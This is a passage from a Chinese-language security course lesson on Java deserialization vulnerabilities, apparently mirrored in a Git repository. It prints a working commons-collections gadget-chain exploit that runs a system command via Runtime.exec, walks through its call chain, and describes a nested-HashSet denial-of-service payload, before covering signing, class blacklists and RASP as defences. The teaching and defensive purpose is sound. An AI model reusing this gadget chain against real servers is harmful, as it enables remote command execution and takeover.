learn-tech/专栏/安全攻防技能30讲/09反序列化漏洞:使用了编译型语言,为什么还是会被注入?.md
2024-10-16 06:37:41 +08:00

210 lines
19 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

因收到Google相关通知网站将会择期关闭。相关通知内容
09 反序列化漏洞:使用了编译型语言,为什么还是会被注入?
你好,我是何为舟。
我们都知道Java是一种高层级的语言。在Java中你不需要直接操控内存大部分的服务和组件都已经有了成熟的封装。除此之外Java是一种先编译再执行的语言无法像JavaScript那样随时插入一段代码。因此很多人会认为Java是一个安全的语言。如果使用Java开发服务我们只需要考虑逻辑层的安全问题即可。但是Java真的这么安全吗
2015年Java曾被曝出一个严重的漏洞很多经典的商业框架都因此受到影响其中最知名的是WebLogic。据统计在网络中公开的WebLogic服务有3万多个。其中中国就有1万多个外网可访问的WebLogic服务。因此WebLogic的反序列化漏洞意味着国内有1万多台服务器可能会被黑客攻陷其影响的用户数量更是不可估量的。
你可能要说了我实际工作中并没有遇到过反序列化漏洞啊。但是你一定使用过一些序列化和反序列化的工具比如Fastjson和Jackson等。如果你关注这些工具的版本更新就会发现这些版本更新中包含很多修复反序列化漏洞的改动。而了解反序列化漏洞可以让你理解Java作为一种先打包后执行的语言是如何被插入额外逻辑的也能够让你对Java这门语言的安全性有一个更全面的认知。
那么到底什么是反序列化漏洞呢它究竟会对Java的安全带来哪些冲击呢遇到这些冲击我们该怎么办呢今天我就带你来了解反序列化漏洞然后一起学习如何防护这样的攻击
反序列化漏洞是如何产生的?
如果你是研发人员,工作中一定会涉及很多的序列化和反序列化操作。应用在输出某个数据的时候,将对象转化成字符串或者字节流,这就是序列化操作。那什么是反序列化呢?没错,我们把这个过程反过来,就是反序列化操作,也就是应用将字符串或者字节流变成对象。
序列化和反序列化有很多种实现方式。比如Java中的Serializable接口或者Python中的pickle可以把应用中的对象转化为二进制的字节流把字节流再还原为对象还有XML和JSON这些跨平台的协议可以把对象转化为带格式的文本把文本再还原为对象。
那反序列化漏洞到底是怎么产生的呢?问题就出在把数据转化成对象的过程中。在这个过程中,应用需要根据数据的内容,去调用特定的方法。而黑客正是利用这个逻辑,在数据中嵌入自定义的代码(比如执行某个系统命令)。应用对数据进行反序列化的时候,会执行这段代码,从而使得黑客能够控制整个应用及服务器。这就是反序列化漏洞攻击的过程。
事实上基本上所有语言都会涉及反序列化漏洞。其中Java因为使用范围比较广本身体积也比较庞大 所以被曝出的反序列化漏洞最多。下面我就以Java中一个经典的反序列化漏洞demo ysoserial 为基础,来介绍一个经典的反序列化漏洞案例,给你讲明白反序列化漏洞具体的产生过程。了解漏洞是怎么产生的,对于你后面理解防护措施也会非常有帮助,所以这里你一定要认真看。
不过,这里也先提醒你一下,这块原理的内容相对比较复杂。我会尽量给你讲解清楚,讲完之后,我也会带着你对这部分内容进行总结、复习。重复记忆可以加深理解,这块内容建议你可以多看几遍。好了,下面我们就来看这个案例!
最终的演示demo的代码如下所示。在macOS环境下运行这段代码你就能够打开一个计算器。在Windows环境下将系统命令open -a calculator修改成calc即可。注意这里需要依赖3.2.1以下的commons-collections最新的版本已经对这个漏洞进行了修复所以无法重现这个攻击的过程。
public class Deserialize {
public static void main(String... args) throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException, NoSuchMethodException {
Object evilObject = getEvilObject();
byte[] serializedObject = serializeToByteArray(evilObject);
deserializeFromByteArray(serializedObject);
}
public static Object getEvilObject() throws ClassNotFoundException, IllegalAccessException, InvocationTargetException, InstantiationException, NoSuchMethodException {
String[] command = {"open -a calculator"};
final Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer("exec",
new Class[]{String.class},
command
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap<>();
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
String classToSerialize = "sun.reflect.annotation.AnnotationInvocationHandler";
final Constructor<?> constructor = Class.forName(classToSerialize).getDeclaredConstructors()[0];
constructor.setAccessible(true);
InvocationHandler secondInvocationHandler = (InvocationHandler) constructor.newInstance(Override.class, lazyMap);
Proxy evilProxy = (Proxy) Proxy.newProxyInstance(Deserialize.class.getClassLoader(), new Class[]{Map.class}, secondInvocationHandler);
InvocationHandler invocationHandlerToSerialize = (InvocationHandler) constructor.newInstance(Override.class, evilProxy);
return invocationHandlerToSerialize;
/*Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"open -a calculator"})};
Transformer chain = new ChainedTransformer(transformers);
Map innerMap = new HashMap<String, Object>();
innerMap.put("key", "value");
Map<String, Object> outerMap = TransformedMap.decorate(innerMap, null, chain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
return instance;*/
}
public static void deserializeAndDoNothing(byte[] byteArray) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(byteArray));
ois.readObject();
}
public static byte[] serializeToByteArray(Object object) throws IOException {
ByteArrayOutputStream serializedObjectOutputContainer = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(serializedObjectOutputContainer);
objectOutputStream.writeObject(object);
return serializedObjectOutputContainer.toByteArray();
}
public static Object deserializeFromByteArray(byte[] serializedObject) throws IOException, ClassNotFoundException {
ByteArrayInputStream serializedObjectInputContainer = new ByteArrayInputStream(serializedObject);
ObjectInputStream objectInputStream = new ObjectInputStream(serializedObjectInputContainer);
InvocationHandler evilInvocationHandler = (InvocationHandler) objectInputStream.readObject();
return evilInvocationHandler;
}
}
下面我们来分析一下这段代码的逻辑。
在Java通过ObjectInputStream.readObject()进行反序列化操作的时候ObjectInputStream会根据序列化数据寻找对应的实现类在payload中是sun.reflect.annotation.AnnotationInvocationHandler。如果实现类存在Java就会调用其readObject方法。因此AnnotationInvocationHandler.readObject方法在反序列化过程中会被调用。
AnnotationInvocationHandler在readObject的过程中会调用streamVals.entrySet()。其中streamVals是AnnotationInvocationHandler构造函数中的第二个参数。这个参数可以在数据中进行指定。而黑客定义的是Proxy类也就是说黑客会让这个参数的实际值等于Proxy。
Proxy是动态代理它会基于Java反射机制去动态实现代理类的功能。在Java中调用一个Proxy类的entrySet()方法实际上就是在调用InvocationHandler中的invoke方法。在invoke方法中Java又会调用memberValues.get(member)。其中memberValues是AnnotationInvocationHandler构造函数中的第二个参数。
同样地memberValues这个参数也能够在数据中进行指定而这次黑客定义的就是LazyMap类。member是方法名也就是entrySet。因此我们最终会调用到LazyMap.get("entrySet")这个逻辑。
当LazyMap需要get某个参数的时候如果之前没有获取过则会调用ChainedTransformer.transform进行构造。
ChainedTransformer.transform会将我们构造的几个InvokerTransformer顺次执行。而在InvokerTransformer.transform中它会通过反射的方法顺次执行我们定义好的Java语句最终调用Runtime.getRuntime().exec("open -a calculator")实现命令执行的功能。
好了讲了这么多不知道你理解了多少这个过程的确比较烧脑。我带你再来总结一下简单来说其实就是以下4步
黑客构造一个恶意的调用链专业术语为POPProperty Oriented Programming并将其序列化成数据然后发送给应用
应用接收数据。大部分应用都有接收外部输入的地方比如各种HTTP接口。而这个输入的数据就有可能是序列化数据
应用进行反序列操作。收到数据后,应用尝试将数据构造成对象;
应用在反序列化过程中,会调用黑客构造的调用链,使得应用会执行黑客的任意命令。
那么在这个反序列化的过程中应用为什么会执行黑客构造的调用链呢这是因为反序列化的过程其实就是一个数据到对象的过程。在这个过程中应用必须根据数据源去调用一些默认方法比如构造函数和Getter/Setter
除了这些方法反序列化的过程中还会涉及一些接口类或者基类简单的如Map、List和Object。应用也必须根据数据源去判断选择哪一个具体的接口实现类。也就是说黑客可以控制反序列化过程中应用要调用的接口实现类的默认方法。通过对不同接口类的默认方法进行组合黑客就可以控制反序列化的调用过程实现执行任意命令的功能。
通过反序列化漏洞,黑客能做什么?
学习了前面的例子我们已经知道通过反序列化漏洞黑客可以调用到Runtime.exec()来进行命令执行。换一句话说,黑客已经能够在服务器上执行任意的命令,这就相当于间接掌控了你的服务器,能够干任何他想干的事情了。
即使你对服务器进行了一定的安全防护控制了黑客掌控服务器所产生的影响黑客还是能够利用反序列化漏洞来发起拒绝服务攻击。比如曾经有人就提出过这样的方式通过HashSet的相互引用构造出一个100层的HashSet其中包含200个HashSet的实例和100个String结构如下图所示。
对于多层嵌套的对象Java在反序列化过程中需要调用的方法呈指数增加。因此尽管这个序列化的数组大概只有6KB但是面对这种100层的数据Java所需要执行的方法数是近乎无穷的n的100次方。也就是说黑客可以通过构建一个体积很小的数据增加应用在反序列化过程中需要调用的方法数以此来耗尽CPU资源达到影响服务器可用性的目的。
如何进行反序列化漏洞防护
现在你应该对序列化和反序列化的操作产生了一些警惕。那你可能要问了既然反序列化漏洞危害这么大我们能不能直接剔除它们呢显然是不可能的尤其是JSON作为目前最热门的跨平台数据交换格式之一其易用性是显而易见的你不可能因为这些还没发生的危害就剔除它们。因此我们要采取一些有效的手段在把反序列化操作的优势发挥出来的同时去避免反序列化漏洞的出现。我们来看3种具体的防护方法认证、限制类和RASP检测。
1.认证和签名
首先,最简单的,我们可以通过认证,来避免应用接受黑客的异常输入。要知道,很多序列化和反序列化的服务并不是提供给用户的,而是提供给服务自身的。比如,存储一个对象到硬盘、发送一个对象到另外一个服务中去。对于这些点对点的服务,我们可以通过加入签名的方式来进行防护。比如,对存储的数据进行签名,以此对调用来源进行身份校验。只要黑客获取不到密钥信息,它就无法向进行反序列化的服务接口发送数据,也就无从发起反序列化攻击了。
2.限制序列化和反序列化的类
事实上,认证只是隐藏了反序列化漏洞,并没有真正修复它。那么,我们该如何从根本上去修复或者避免反序列化漏洞呢?
在反序列化漏洞中黑客需要构建调用链而调用链是基于类的默认方法来构造的。然而大部分类的默认方法逻辑很少无法串联成完整调用链。因此在调用链中通常会涉及非常规的类比如刚才那个demo中的InvokerTransformer。我相信99.99%的人都不会去序列化这个类。因此,我们可以通过构建黑名单的方式,来检测反序列化过程中调用链的异常。
在Fastjson的配置文件中就维护了一个黑名单的列表其中包括了很多可能执行代码的方法类。这些类都是平常会使用但不会序列化的一些工具类因此我们可以将它们纳入到黑名单中不允许应用反序列化这些类在最新的版本中已经更改为hashcode的形式
我们在日常使用Fastjson或者其他JSON转化工具的过程中需要注意避免序列化和反序列化接口类。这就相当于白名单的过滤只允许某些类可以被反序列化。我认为只要你在反序列化的过程中避免了所有的接口类包括类成员中的接口、泛型等黑客其实就没有办法控制应用反序列化过程中所使用的类也就没有办法构造出调用链自然也就无法利用反序列化漏洞了。
3.RASP检测
通常来说我们可以依靠第三方插件中自带的黑名单来提高安全性。但是如果我们使用的是Java自带的序列化和反序列化功能比如ObjectInputStream.resolveClass那我们该怎么防护反序列化漏洞呢如果我们想要替这些方法实现黑名单的检测就会涉及原生代码的修改这显然是一件比较困难的事。
为此业内推出了RASPRuntime Application Self-Protection实时程序自我保护。RASP通过hook等方式在这些关键函数的调用中增加一道规则的检测。这个规则会判断应用是否执行了非应用本身的逻辑能够在不修改代码的情况下对反序列化漏洞攻击实现拦截。关于RASP之后的课程中我们会专门进行讲解这里暂时不深入了。简单来说通过RASP我们就能够检测到应用中的非正常代码执行操作。
我个人认为RASP是最好的检测反序列化攻击的方式。 我为什么会这么说呢这是因为如果使用认证和限制类这样的方式来检测就需要一个一个去覆盖可能出现的漏洞点非常耗费时间和精力。而RASP则不同它通过hook的方式直接将整个应用都监控了起来。因此能够做到覆盖面更广、代码改动更少。
但是因为RASP会hook应用相当于是介入到了应用的正常流程中。而RASP的检测规则都不高效因此它会给应用带来一定的性能损耗不适合在高并发的场景中使用。但是在应用不受严格性能约束的情况下我还是更推荐使用RASP。这样开发就不用一个一个去对漏洞点进行手动修补了。
总结
好了,今天的内容讲完了。我们来一起总结回顾一下,你需要掌握的重点内容。
我们首先讲了反序列化漏洞的产生原理,即黑客通过构造恶意的序列化数据,从而控制应用在反序列化过程中需要调用的类方法,最终实现任意方法调用。如果在这些方法中有命令执行的方法,黑客就可以在服务器上执行任意的命令。
对于反序列化漏洞的防御我们主要考虑两个方面认证和检测。对于面向内部的接口和服务我们可以采取认证的方式杜绝它们被黑客利用的可能。另外我们也需要对反序列化数据中的调用链进行黑白名单检测。成熟的第三方序列化插件都已经包含了这个功能暂时可以不需要考虑。最后如果没有过多的性能考量我们可以通过RASP的方式来进行一个更全面的检测和防护。
最后,为了方便你记忆,我把今天的内容总结成一张知识脑图,你可以通过它对今天的重点内容进行复习巩固。
思考题
最后,给你留一个思考题。
你可以去了解一下你所使用的序列化和反序列化插件比如Fastjson、Gson和Jackson等是否被曝出过反序列化漏洞然后结合今天的内容思考一下这些反序列化漏洞可能会给你带来什么影响。
欢迎留言和我分享你的思考和疑惑,也欢迎你把文章分享给你的朋友。我们下一讲再见!